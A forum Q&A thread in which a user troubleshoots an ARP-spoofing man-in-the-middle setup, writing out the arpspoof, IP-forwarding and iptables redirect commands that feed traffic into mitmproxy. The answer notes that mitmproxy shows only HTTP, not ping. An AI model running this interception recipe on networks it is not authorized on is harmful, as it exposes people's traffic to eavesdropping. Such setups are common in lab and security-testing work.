1

I have a target computer at 10.0.0.14 and gateway at 10.0.0.1. I successfully insert myself as a MITM by running 

sudo arpspoof -i wlp3s0 -t 10.0.0.1 10.0.0.14
sudo arpspoof -i wlp3s0 -t 10.0.0.14 10.0.0.1

And when I run arp on the target machine, I see that 10.0.0.1 is associated with my MAC. On my machine, I then run

sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i wlp3s0 -p tcp --dport 80 -j REDIRECT --to-port 8080

Finally, I run ping google.com on the target machine. When I run sudo tcpdump | grep 10.0.0.14 on my machine, I see lots of packets involving the ping requests. But when I run mitmproxy -T --host I don't get anything! What am I doing wrong?

P.S. Here's the result of ifconfig:

enp0s25   Link encap:Ethernet  HWaddr [redacted]
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
          Interrupt:20 Memory:f2500000-f2520000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:49445 errors:0 dropped:0 overruns:0 frame:0
          TX packets:49445 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:4511425 (4.5 MB)  TX bytes:4511425 (4.5 MB)

wlp3s0    Link encap:Ethernet  HWaddr [redacted]
          inet addr:10.0.0.6  Bcast:10.0.0.255  Mask:255.255.255.0
          inet6 addr: 2601:280:4900:e583:a64e:31ff:fe63:ccdc/64 Scope:Global
          inet6 addr: fe80::a64e:31ff:fe63:ccdc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:502914 errors:0 dropped:0 overruns:0 frame:0
          TX packets:306905 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:489697020 (489.6 MB)  TX bytes:70008617 (70.0 MB)
Improve this question
2
  • 1
    Are you referring to the ping request? You won't see those in mitmproxy, only HTTP.
    – Maximilian Hils
    Mar 14, 2016 at 20:16
  • @MaximilianHils Wow XD I didn't know ping uses a different protocol... (noob here sorry) ya I tried some HTTP traffic and it worked beautifully! Post your comment as an answer and I'll accept it.
    – Elliot Gorokhovsky
    Mar 14, 2016 at 22:46

1 Answer 1

Reset to default
0

mitmproxy will not display pings, it will only display HTTP (or, with some tweaks, TCP) traffic.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .